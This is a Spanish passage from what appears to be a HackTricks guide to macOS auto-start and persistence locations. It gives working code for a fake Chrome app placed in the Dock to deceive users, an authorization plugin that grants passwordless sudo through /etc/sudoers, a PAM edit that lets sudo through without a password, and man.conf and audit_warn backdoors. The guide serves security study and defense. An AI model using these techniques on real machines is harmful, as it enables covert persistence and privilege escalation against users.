Luego, abre la aplicación Folder Actions Setup, selecciona la carpeta que deseas vigilar y selecciona en tu caso folder.scpt (en mi caso lo llamé output2.scp):

Ahora, si abres esa carpeta con Finder, tu script se ejecutará.

Esta configuración se almacenó en el plist ubicado en ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist en formato base64.

Ahora, intentemos preparar esta persistencia sin acceso a la GUI:

Copia ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist a /tmp para hacer una copia de seguridad:

cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp

Elimina las Acciones de Carpeta que acabas de configurar:

Ahora que tenemos un entorno vacío

Copia el archivo de respaldo: cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/
Abre la aplicación Folder Actions Setup para consumir esta configuración: open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"

{% hint style="danger" %} Y esto no funcionó para mí, pero esas son las instrucciones del informe :( {% endhint %}

Accesos directos del Dock

Informe: https://theevilbit.github.io/beyond/beyond_0027/

Útil para evadir el sandbox: ✅
Pero necesitas haber instalado una aplicación maliciosa dentro del sistema
Bypass de TCC: 🔴

Ubicación

~/Library/Preferences/com.apple.dock.plist
Disparador: Cuando el usuario hace clic en la aplicación dentro del dock

Descripción y Explotación

Todas las aplicaciones que aparecen en el Dock están especificadas dentro del plist: ~/Library/Preferences/com.apple.dock.plist

Es posible añadir una aplicación solo con:

{% code overflow="wrap" %}

# Add /System/Applications/Books.app
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/System/Applications/Books.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'

# Restart Dock
killall Dock

{% endcode %}

Usando algo de ingeniería social podrías hacerte pasar, por ejemplo, por Google Chrome dentro del dock y realmente ejecutar tu propio script:

#!/bin/sh

# THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)

rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null

# Create App structure
mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS
mkdir -p /tmp/Google\ Chrome.app/Contents/Resources

# Payload to execute
echo '#!/bin/sh
open /Applications/Google\ Chrome.app/ &
touch /tmp/ImGoogleChrome' > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome

chmod +x /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome

# Info.plist
cat << EOF > /tmp/Google\ Chrome.app/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>Google Chrome</string>
<key>CFBundleIdentifier</key>
<string>com.google.Chrome</string>
<key>CFBundleName</key>
<string>Google Chrome</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
</dict>
</plist>
EOF

# Copy icon from Google Chrome
cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chrome.app/Contents/Resources/app.icns

# Add to Dock
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Google Chrome.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
killall Dock

Selectores de color

Descripción: https://theevilbit.github.io/beyond/beyond_0017

Útil para evadir el sandbox: 🟠
Se necesita una acción muy específica
Terminarás en otro sandbox
Bypass de TCC: 🔴

Ubicación

/Library/ColorPickers
Se requieren permisos de root
Desencadenante: Usar el selector de color
~/Library/ColorPickers
Desencadenante: Usar el selector de color

Descripción y Exploit

Compila un paquete de selector de color con tu código (podrías usar este por ejemplo) y agrega un constructor (como en la sección de Protector de pantalla) y copia el paquete a ~/Library/ColorPickers.

Entonces, cuando se active el selector de color, tu código también debería ejecutarse.

Ten en cuenta que el binario que carga tu biblioteca tiene un sandbox muy restrictivo: /System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64

{% code overflow="wrap" %}

[Key] com.apple.security.temporary-exception.sbpl
[Value]
[Array]
[String] (deny file-write* (home-subpath "/Library/Colors"))
[String] (allow file-read* process-exec file-map-executable (home-subpath "/Library/ColorPickers"))
[String] (allow file-read* (extension "com.apple.app-sandbox.read"))

{% endcode %}

Complementos de Sincronización del Finder

Descripción: https://theevilbit.github.io/beyond/beyond_0026/
Descripción: https://objective-see.org/blog/blog_0x11.html

Útil para evadir el sandbox: No, porque necesitas ejecutar tu propia aplicación
Bypass de TCC: ???

Ubicación

Una aplicación específica

Descripción y Exploit

Un ejemplo de aplicación con una Extensión de Sincronización del Finder se puede encontrar aquí.

Las aplicaciones pueden tener Extensiones de Sincronización del Finder. Esta extensión se incluirá en una aplicación que se ejecutará. Además, para que la extensión pueda ejecutar su código, debe estar firmada con un certificado de desarrollador de Apple válido, debe estar en sandbox (aunque se pueden agregar excepciones relajadas) y debe estar registrada con algo como:

pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex
pluginkit -e use -i com.example.InSync.InSync

Protector de pantalla

Escritura: https://theevilbit.github.io/beyond/beyond_0016/
Escritura: https://posts.specterops.io/saving-your-access-d562bf5bf90b

Útil para evadir el sandbox: 🟠
Pero terminarás en un sandbox de aplicación común
Bypass de TCC: 🔴

Ubicación

/System/Library/Screen Savers
Se requiere permisos de root
Desencadenar: Seleccionar el protector de pantalla
/Library/Screen Savers
Se requiere permisos de root
Desencadenar: Seleccionar el protector de pantalla
~/Library/Screen Savers
Desencadenar: Seleccionar el protector de pantalla

Descripción y Exploit

Crea un nuevo proyecto en Xcode y selecciona la plantilla para generar un nuevo Protector de pantalla. Luego, agrega tu código, por ejemplo el siguiente código para generar registros.

Compílalo, y copia el paquete .saver a ~/Library/Screen Savers. Luego, abre la GUI del Protector de pantalla y si haces clic en él, debería generar muchos registros:

{% code overflow="wrap" %}

sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "hello_screensaver"'

Timestamp                       (process)[PID]
2023-09-27 22:55:39.622369+0200  localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver void custom(int, const char **)
2023-09-27 22:55:39.622623+0200  localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView initWithFrame:isPreview:]
2023-09-27 22:55:39.622704+0200  localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView hasConfigureSheet]

{% endcode %}

{% hint style="danger" %} Ten en cuenta que debido a que dentro de los permisos del binario que carga este código (/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver) puedes encontrar com.apple.security.app-sandbox estarás dentro del sandbox de la aplicación común. {% endhint %}

Código del protector de pantalla:

//
//  ScreenSaverExampleView.m
//  ScreenSaverExample
//
//  Created by Carlos Polop on 27/9/23.
//

#import "ScreenSaverExampleView.h"

@implementation ScreenSaverExampleView

- (instancetype)initWithFrame:(NSRect)frame isPreview:(BOOL)isPreview
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
self = [super initWithFrame:frame isPreview:isPreview];
if (self) {
[self setAnimationTimeInterval:1/30.0];
}
return self;
}

- (void)startAnimation
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super startAnimation];
}

- (void)stopAnimation
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super stopAnimation];
}

- (void)drawRect:(NSRect)rect
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super drawRect:rect];
}

- (void)animateOneFrame
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return;
}

- (BOOL)hasConfigureSheet
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return NO;
}

- (NSWindow*)configureSheet
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return nil;
}

__attribute__((constructor))
void custom(int argc, const char **argv) {
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
}

@end

Complementos de Spotlight

writeup: https://theevilbit.github.io/beyond/beyond_0011/

Útil para evadir el sandbox: 🟠
Pero terminarás en un sandbox de aplicación
Bypass de TCC: 🔴
El sandbox parece muy limitado

Ubicación

~/Library/Spotlight/
Disparador: Se crea un nuevo archivo con una extensión gestionada por el complemento de Spotlight.
/Library/Spotlight/
Disparador: Se crea un nuevo archivo con una extensión gestionada por el complemento de Spotlight.
Se requiere permisos de root
/System/Library/Spotlight/
Disparador: Se crea un nuevo archivo con una extensión gestionada por el complemento de Spotlight.
Se requiere permisos de root
Some.app/Contents/Library/Spotlight/
Disparador: Se crea un nuevo archivo con una extensión gestionada por el complemento de Spotlight.
Se requiere una nueva aplicación

Descripción y Explotación

Spotlight es la función de búsqueda integrada de macOS, diseñada para proporcionar a los usuarios acceso rápido y completo a los datos en sus computadoras.
Para facilitar esta capacidad de búsqueda rápida, Spotlight mantiene una base de datos propietaria y crea un índice al analizar la mayoría de los archivos, lo que permite búsquedas rápidas tanto por nombres de archivo como por su contenido.

El mecanismo subyacente de Spotlight implica un proceso central llamado 'mds', que significa 'servidor de metadatos'. Este proceso orquesta todo el servicio de Spotlight. Complementariamente, existen múltiples demonios 'mdworker' que realizan una variedad de tareas de mantenimiento, como indexar diferentes tipos de archivos (ps -ef | grep mdworker). Estas tareas son posibles a través de complementos importadores de Spotlight, o paquetes ".mdimporter", que permiten a Spotlight comprender e indexar contenido en una amplia gama de formatos de archivo.

Los complementos o paquetes .mdimporter se encuentran en los lugares mencionados anteriormente y si aparece un nuevo paquete, se carga en cuestión de minutos (no es necesario reiniciar ningún servicio). Estos paquetes deben indicar qué tipo de archivo y extensiones pueden gestionar, de esta manera, Spotlight los utilizará cuando se cree un nuevo archivo con la extensión indicada.

Es posible encontrar todos los mdimporters cargados ejecutando:

mdimport -L
Paths: id(501) (
"/System/Library/Spotlight/iWork.mdimporter",
"/System/Library/Spotlight/iPhoto.mdimporter",
"/System/Library/Spotlight/PDF.mdimporter",
[...]

Y por ejemplo /Library/Spotlight/iBooksAuthor.mdimporter se utiliza para analizar este tipo de archivos (extensiones .iba y .book entre otros):

plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist

[...]
"CFBundleDocumentTypes" => [
0 => {
"CFBundleTypeName" => "iBooks Author Book"
"CFBundleTypeRole" => "MDImporter"
"LSItemContentTypes" => [
0 => "com.apple.ibooksauthor.book"
1 => "com.apple.ibooksauthor.pkgbook"
2 => "com.apple.ibooksauthor.template"
3 => "com.apple.ibooksauthor.pkgtemplate"
]
"LSTypeIsPackage" => 0
}
]
[...]
=> {
"UTTypeConformsTo" => [
0 => "public.data"
1 => "public.composite-content"
]
"UTTypeDescription" => "iBooks Author Book"
"UTTypeIdentifier" => "com.apple.ibooksauthor.book"
"UTTypeReferenceURL" => "http://www.apple.com/ibooksauthor"
"UTTypeTagSpecification" => {
"public.filename-extension" => [
0 => "iba"
1 => "book"
]
}
}
[...]

{% hint style="danger" %} Si revisas el Plist de otros mdimporter, es posible que no encuentres la entrada UTTypeConformsTo. Esto se debe a que es un Identificador de Tipo Uniforme (UTI) integrado y no necesita especificar extensiones.

Además, los complementos predeterminados del sistema siempre tienen prioridad, por lo que un atacante solo puede acceder a archivos que no estén indexados de otra manera por los propios mdimporters de Apple. {% endhint %}

Para crear tu propio importador, podrías comenzar con este proyecto: https://github.com/megrimm/pd-spotlight-importer y luego cambiar el nombre, los CFBundleDocumentTypes y agregar UTImportedTypeDeclarations para que admita la extensión que deseas soportar y reflejarlos en schema.xml.
Luego cambia el código de la función GetMetadataForFile para ejecutar tu carga útil cuando se cree un archivo con la extensión procesada.

Finalmente, compila y copia tu nuevo .mdimporter en una de las ubicaciones anteriores y puedes verificar cuándo se carga monitoreando los registros o revisando mdimport -L.

Panel de Preferencias

{% hint style="danger" %} Parece que esto ya no funciona. {% endhint %}

Descripción: https://theevilbit.github.io/beyond/beyond_0009/

Útil para evadir el sandbox: 🟠
Requiere una acción de usuario específica
Bypass de TCC: 🔴

Ubicación

/System/Library/PreferencePanes
/Library/PreferencePanes
~/Library/PreferencePanes

Descripción

Parece que esto ya no funciona.

Bypass de Sandbox de Root

{% hint style="success" %} Aquí puedes encontrar ubicaciones de inicio útiles para bypass de sandbox que te permiten simplemente ejecutar algo al escribirlo en un archivo siendo root y/o requiriendo otras condiciones extrañas. {% endhint %}

Periódico

Descripción: https://theevilbit.github.io/beyond/beyond_0019/

Útil para evadir el sandbox: 🟠
Pero necesitas ser root
Bypass de TCC: 🔴

Ubicación

/etc/periodic/daily, /etc/periodic/weekly, /etc/periodic/monthly, /usr/local/etc/periodic
Se requiere ser root
Disparador: Cuando llegue el momento
/etc/daily.local, /etc/weekly.local o /etc/monthly.local
Se requiere ser root
Disparador: Cuando llegue el momento

Descripción y Explotación

Los scripts periódicos (/etc/periodic) se ejecutan debido a los launch daemons configurados en /System/Library/LaunchDaemons/com.apple.periodic*. Ten en cuenta que los scripts almacenados en /etc/periodic/ se ejecutan como el propietario del archivo, por lo que esto no funcionará para una posible escalada de privilegios. {% code overflow="wrap" %}

# Launch daemons that will execute the periodic scripts
ls -l /System/Library/LaunchDaemons/com.apple.periodic*
-rw-r--r--  1 root  wheel  887 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-daily.plist
-rw-r--r--  1 root  wheel  895 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-monthly.plist
-rw-r--r--  1 root  wheel  891 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-weekly.plist

# The scripts located in their locations
ls -lR /etc/periodic
total 0
drwxr-xr-x  11 root  wheel  352 May 13 00:29 daily
drwxr-xr-x   5 root  wheel  160 May 13 00:29 monthly
drwxr-xr-x   3 root  wheel   96 May 13 00:29 weekly

/etc/periodic/daily:
total 72
-rwxr-xr-x  1 root  wheel  1642 May 13 00:29 110.clean-tmps
-rwxr-xr-x  1 root  wheel   695 May 13 00:29 130.clean-msgs
[...]

/etc/periodic/monthly:
total 24
-rwxr-xr-x  1 root  wheel   888 May 13 00:29 199.rotate-fax
-rwxr-xr-x  1 root  wheel  1010 May 13 00:29 200.accounting
-rwxr-xr-x  1 root  wheel   606 May 13 00:29 999.local

/etc/periodic/weekly:
total 8
-rwxr-xr-x  1 root  wheel  620 May 13 00:29 999.local

{% endcode %}

Hay otros scripts periódicos que se ejecutarán según lo indicado en /etc/defaults/periodic.conf:

grep "Local scripts" /etc/defaults/periodic.conf
daily_local="/etc/daily.local"				# Local scripts
weekly_local="/etc/weekly.local"			# Local scripts
monthly_local="/etc/monthly.local"			# Local scripts

Si logras escribir alguno de los archivos /etc/daily.local, /etc/weekly.local o /etc/monthly.local, se ejecutará tarde o temprano.

{% hint style="warning" %} Ten en cuenta que el script periódico se ejecutará como el propietario del script. Por lo tanto, si un usuario regular es el propietario del script, se ejecutará como ese usuario (esto podría prevenir ataques de escalada de privilegios). {% endhint %}

PAM

Explicación detallada: Linux Hacktricks PAM
Explicación detallada: https://theevilbit.github.io/beyond/beyond_0005/

Útil para evadir la sandbox: 🟠
Pero necesitas ser root
Bypass de TCC: 🔴

Ubicación

Siempre se requiere ser root

Descripción y Explotación

Dado que PAM se enfoca más en la persistencia y en el malware que en la ejecución sencilla dentro de macOS, este blog no proporcionará una explicación detallada, lee las explicaciones detalladas para entender mejor esta técnica.

Verifica los módulos de PAM con:

ls -l /etc/pam.d

Una técnica de persistencia/escalada de privilegios que abusa de PAM es tan fácil como modificar el módulo /etc/pam.d/sudo agregando al principio la línea:

auth       sufficient     pam_permit.so

Así se verá algo así como esto:

# sudo: auth account password session
auth       sufficient     pam_permit.so
auth       include        sudo_local
auth       sufficient     pam_smartcard.so
auth       required       pam_opendirectory.so
account    required       pam_permit.so
password   required       pam_deny.so
session    required       pam_permit.so

Y, por lo tanto, cualquier intento de usar sudo funcionará.

{% hint style="danger" %} Ten en cuenta que este directorio está protegido por TCC, por lo que es muy probable que el usuario reciba una solicitud pidiendo acceso. {% endhint %}

Plugins de Autorización

Descripción: https://theevilbit.github.io/beyond/beyond_0028/
Descripción: https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65

Útil para evadir el sandbox: 🟠
Pero necesitas ser root y hacer configuraciones adicionales
Bypass de TCC: ???

Ubicación

/Library/Security/SecurityAgentPlugins/
Se requiere ser root
También es necesario configurar la base de datos de autorización para usar el plugin

Descripción y Explotación

Puedes crear un plugin de autorización que se ejecutará cuando un usuario inicie sesión para mantener la persistencia. Para obtener más información sobre cómo crear uno de estos plugins, consulta las descripciones anteriores (y ten cuidado, uno mal escrito puede bloquearte y necesitarás limpiar tu Mac desde el modo de recuperación).

// Compile the code and create a real bundle
// gcc -bundle -framework Foundation main.m -o CustomAuth
// mkdir -p CustomAuth.bundle/Contents/MacOS
// mv CustomAuth CustomAuth.bundle/Contents/MacOS/

#import <Foundation/Foundation.h>

__attribute__((constructor)) static void run()
{
NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded");
system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers");
}

Mueva el paquete a la ubicación para ser cargado:

cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/

Finalmente agregar la regla para cargar este Plugin:

cat > /tmp/rule.plist <<EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>class</key>
<string>evaluate-mechanisms</string>
<key>mechanisms</key>
<array>
<string>CustomAuth:login,privileged</string>
</array>
</dict>
</plist>
EOF

security authorizationdb write com.asdf.asdf < /tmp/rule.plist

El evaluate-mechanisms le indicará al marco de autorización que necesitará llamar a un mecanismo externo para la autorización. Además, privileged hará que se ejecute como root.

Actívalo con:

security authorize com.asdf.asdf

Y luego el grupo staff debe tener acceso sudo (lee /etc/sudoers para confirmar).

Man.conf

Explicación: https://theevilbit.github.io/beyond/beyond_0030/

Útil para evadir el sandbox: 🟠
Pero necesitas ser root y el usuario debe usar man
Bypass de TCC: 🔴

Ubicación

/private/etc/man.conf
Requiere permisos de root
/private/etc/man.conf: Cada vez que se use man

Descripción y Exploit

El archivo de configuración /private/etc/man.conf indica el binario/script a utilizar al abrir archivos de documentación de man. Por lo tanto, la ruta al ejecutable podría ser modificada para que cada vez que el usuario use man para leer algunos documentos, se ejecute una puerta trasera.

Por ejemplo, establecido en /private/etc/man.conf:

MANPAGER /tmp/view

Y luego crea /tmp/view de la siguiente manera:

#!/bin/zsh

touch /tmp/manconf

/usr/bin/less -s

Apache2

Descripción: https://theevilbit.github.io/beyond/beyond_0023/

Útil para evadir el sandbox: 🟠
Pero necesitas ser root y que apache esté en ejecución
Bypass de TCC: 🔴
Httpd no tiene permisos especiales

Ubicación

/etc/apache2/httpd.conf
Se requiere ser root
Disparador: Cuando se inicia Apache2

Descripción y Exploit

Puedes indicar en /etc/apache2/httpd.conf que cargue un módulo agregando una línea como esta:

{% code overflow="wrap" %}

LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"

{% endcode %}

De esta manera, tus módulos compilados serán cargados por Apache. La única condición es que necesitas firmarlos con un certificado válido de Apple, o necesitas agregar un nuevo certificado de confianza en el sistema y firmarlos con él.

Luego, si es necesario, para asegurarte de que el servidor se iniciará, puedes ejecutar:

sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist

Ejemplo de código para el Dylb:

#include <stdio.h>
#include <syslog.h>

__attribute__((constructor))
static void myconstructor(int argc, const char **argv)
{
printf("[+] dylib constructor called from %s\n", argv[0]);
syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]);
}

Marco de auditoría BSM

Descripción: https://theevilbit.github.io/beyond/beyond_0031/

Útil para evadir el sandbox: 🟠
Pero necesitas ser root, que auditd esté en ejecución y causar una advertencia
Bypass de TCC: 🔴

Ubicación

/etc/security/audit_warn
Se requiere ser root
Desencadenante: Cuando auditd detecta una advertencia

Descripción y Exploit

Cada vez que auditd detecta una advertencia, se ejecuta el script /etc/security/audit_warn. Por lo tanto, podrías agregar tu carga útil en él.

echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn

Elementos de Inicio

{% hint style="danger" %} Esto está obsoleto, por lo que no se debería encontrar nada en esos directorios. {% endhint %}

El directorio StartupItem debe estar ubicado dentro de /Library/StartupItems/ o /System/Library/StartupItems/. Una vez que este directorio esté establecido, debe contener dos archivos específicos:

Un script rc: Un script de shell ejecutado al inicio.
Un archivo plist, nombrado específicamente StartupParameters.plist, que contiene varias configuraciones.

Asegúrate de que tanto el script rc como el archivo StartupParameters.plist estén ubicados correctamente dentro del directorio StartupItem para que el proceso de inicio los reconozca y los utilice.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Description</key>
<string>This is a description of this service</string>
<key>OrderPreference</key>
<string>None</string> <!--Other req services to execute before this -->
<key>Provides</key>
<array>
<string>superservicename</string> <!--Name of the services provided by this file -->
</array>
</dict>
</plist>

{% endtab %}

{% tab title="superservicename" %}

Ubicaciones de inicio automático de macOS

Carpetas de inicio automático

Las siguientes carpetas contienen elementos que se inician automáticamente al iniciar sesión en macOS:

/Library/LaunchAgents/
/Library/LaunchDaemons/
/Library/StartupItems/
/System/Library/LaunchAgents/
/System/Library/LaunchDaemons/
/System/Library/StartupItems/
~/Library/LaunchAgents/
~/Library/LaunchDaemons/

Otros lugares de inicio automático

Además de las carpetas mencionadas, también hay otras ubicaciones donde se pueden encontrar elementos de inicio automático en macOS:

Archivos .plist en /Library/LaunchDaemons/ y /System/Library/LaunchDaemons/
Archivos .plist en /Library/LaunchAgents/ y /System/Library/LaunchAgents/
Archivos .plist en /Library/Preferences/
Archivos .plist en ~/Library/LaunchAgents/
Archivos .plist en ~/Library/LaunchDaemons/
Archivos .plist en ~/Library/Preferences/

Al revisar y gestionar estos lugares de inicio automático, puedes mejorar la seguridad y el rendimiento de tu sistema macOS.

{% endtab %}

#!/bin/sh
. /etc/rc.common

StartService(){
touch /tmp/superservicestarted
}

StopService(){
rm /tmp/superservicestarted
}

RestartService(){
echo "Restarting"
}

RunService "$1"

{% endtab %} {% endtabs %}

emond

{% hint style="danger" %} No puedo encontrar este componente en mi macOS, para obtener más información consulta el informe técnico {% endhint %}

Informe técnico: https://theevilbit.github.io/beyond/beyond_0023/

Introducido por Apple, emond es un mecanismo de registro que parece estar subdesarrollado o posiblemente abandonado, pero sigue siendo accesible. Aunque no es particularmente beneficioso para un administrador de Mac, este servicio oscuro podría servir como un método sutil de persistencia para actores de amenazas, probablemente pasando desapercibido para la mayoría de los administradores de macOS.

Para aquellos que conocen su existencia, identificar cualquier uso malicioso de emond es sencillo. El LaunchDaemon del sistema para este servicio busca scripts para ejecutar en un solo directorio. Para inspeccionar esto, se puede utilizar el siguiente comando:

ls -l /private/var/db/emondClients

XQuartz

Escritura: https://theevilbit.github.io/beyond/beyond_0018/

Ubicación

/opt/X11/etc/X11/xinit/privileged_startx.d
Se requiere acceso de root
Desencadenante: Con XQuartz

Descripción y Exploit

XQuartz ya no se instala en macOS, así que si deseas más información, consulta la escritura.

kext

{% hint style="danger" %} Es tan complicado instalar kext incluso como root que no consideraré esto para escapar de las cajas de arena o incluso para persistencia (a menos que tengas un exploit) {% endhint %}

Ubicación

Para instalar un KEXT como un elemento de inicio, debe estar instalado en una de las siguientes ubicaciones:

/System/Library/Extensions
Archivos KEXT integrados en el sistema operativo OS X.
/Library/Extensions
Archivos KEXT instalados por software de terceros

Puedes listar los archivos kext cargados actualmente con:

kextstat #List loaded kext
kextload /path/to/kext.kext #Load a new one based on path
kextload -b com.apple.driver.ExampleBundle #Load a new one based on path
kextunload /path/to/kext.kext
kextunload -b com.apple.driver.ExampleBundle

Para obtener más información sobre extensiones de kernel, consulte esta sección.

amstoold

Descripción: https://theevilbit.github.io/beyond/beyond_0029/

Ubicación

/usr/local/bin/amstoold
Se requiere acceso de root

Descripción y explotación

Aparentemente, el plist de /System/Library/LaunchAgents/com.apple.amstoold.plist estaba utilizando este binario mientras exponía un servicio XPC... el problema es que el binario no existía, por lo que podías colocar algo allí y cuando se llamara al servicio XPC, se llamaría a tu binario.

Ya no puedo encontrar esto en mi macOS.

xsanctl

Descripción: https://theevilbit.github.io/beyond/beyond_0015/

Ubicación

/Library/Preferences/Xsan/.xsanrc
Se requiere acceso de root
Desencadenante: Cuando se ejecuta el servicio (raramente)

Descripción y explotación

Aparentemente, no es muy común ejecutar este script y ni siquiera pude encontrarlo en mi macOS, así que si deseas más información, consulta el writeup.

/etc/rc.common

{% hint style="danger" %} Esto no funciona en las versiones modernas de MacOS {% endhint %}

También es posible colocar aquí comandos que se ejecutarán al inicio. Ejemplo de un script rc.common regular:

#
# Common setup for startup scripts.
#
# Copyright 1998-2002 Apple Computer, Inc.
#

######################
# Configure the shell #
######################

#
# Be strict
#
#set -e
set -u

#
# Set command search path
#
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/libexec:/System/Library/CoreServices; export PATH

#
# Set the terminal mode
#
#if [ -x /usr/bin/tset ] && [ -f /usr/share/misc/termcap ]; then
#    TERM=$(tset - -Q); export TERM
#fi

###################
# Useful functions #
###################

#
# Determine if the network is up by looking for any non-loopback
# internet network interfaces.
#
CheckForNetwork()
{
local test

if [ -z "${NETWORKUP:=}" ]; then
test=$(ifconfig -a inet 2>/dev/null | sed -n -e '/127.0.0.1/d' -e '/0.0.0.0/d' -e '/inet/p' | wc -l)
if [ "${test}" -gt 0 ]; then
NETWORKUP="-YES-"
else
NETWORKUP="-NO-"
fi
fi
}

alias ConsoleMessage=echo

#
# Process management
#
GetPID ()
{
local program="$1"
local pidfile="${PIDFILE:=/var/run/${program}.pid}"
local     pid=""

if [ -f "${pidfile}" ]; then
pid=$(head -1 "${pidfile}")
if ! kill -0 "${pid}" 2> /dev/null; then
echo "Bad pid file $pidfile; deleting."
pid=""
rm -f "${pidfile}"
fi
fi

if [ -n "${pid}" ]; then
echo "${pid}"
return 0
else
return 1
fi
}

#
# Generic action handler
#
RunService ()
{
case $1 in
start  ) StartService   ;;
stop   ) StopService    ;;
restart) RestartService ;;
*      ) echo "$0: unknown argument: $1";;
esac
}

Técnicas y herramientas de persistencia

{% hint style="success" %} Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks

Revisa los planes de suscripción!
Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
Comparte trucos de hacking enviando PRs a los repositorios de HackTricks y HackTricks Cloud.

{% endhint %}

72 KiB Raw Blame History

Inicio Automático en macOS

Bypass de la Caja de Arena

Launchd

Ubicaciones

Descripción y Explotación

Más información sobre launchd

Archivos de inicio de shell

Ubicaciones

Descripción y Explotación

Aplicaciones Reabiertas

Ubicación

Descripción y Explotación

Preferencias de Terminal

Ubicación

Descripción y Explotación

Scripts de Terminal / Otras extensiones de archivo

Ubicación

Descripción y Explotación

Plugins de Audio

Ubicación

Descripción

Plugins de QuickLook

Ubicación

Descripción y Explotación

Ganchos de Inicio/Cierre de Sesión

Ubicación

Bypass condicional de Sandbox

Cron

Ubicación

Descripción y Explotación

iTerm2

Ubicaciones

Descripción y Explotación

xbar

Ubicación

Descripción

Hammerspoon

Ubicación

Descripción

BetterTouchTool

Ubicación

Alfred

Ubicación

SSHRC

Ubicación

Descripción y Explotación

Elementos de Inicio de Sesión

Ubicaciones

Descripción

ZIP como Elemento de Inicio de Sesión

At

Ubicación

Descripción

Acciones de Carpeta

Ubicación

Descripción y Explotación

Accesos directos del Dock

Ubicación

Descripción y Explotación

Selectores de color

Ubicación

Descripción y Exploit

Complementos de Sincronización del Finder

Ubicación

Descripción y Exploit

Protector de pantalla

Ubicación

Descripción y Exploit

Complementos de Spotlight

Ubicación

Descripción y Explotación

Panel de Preferencias

Ubicación

Descripción

Bypass de Sandbox de Root

Periódico

Ubicación

Descripción y Explotación

PAM

72 KiB

Raw Blame History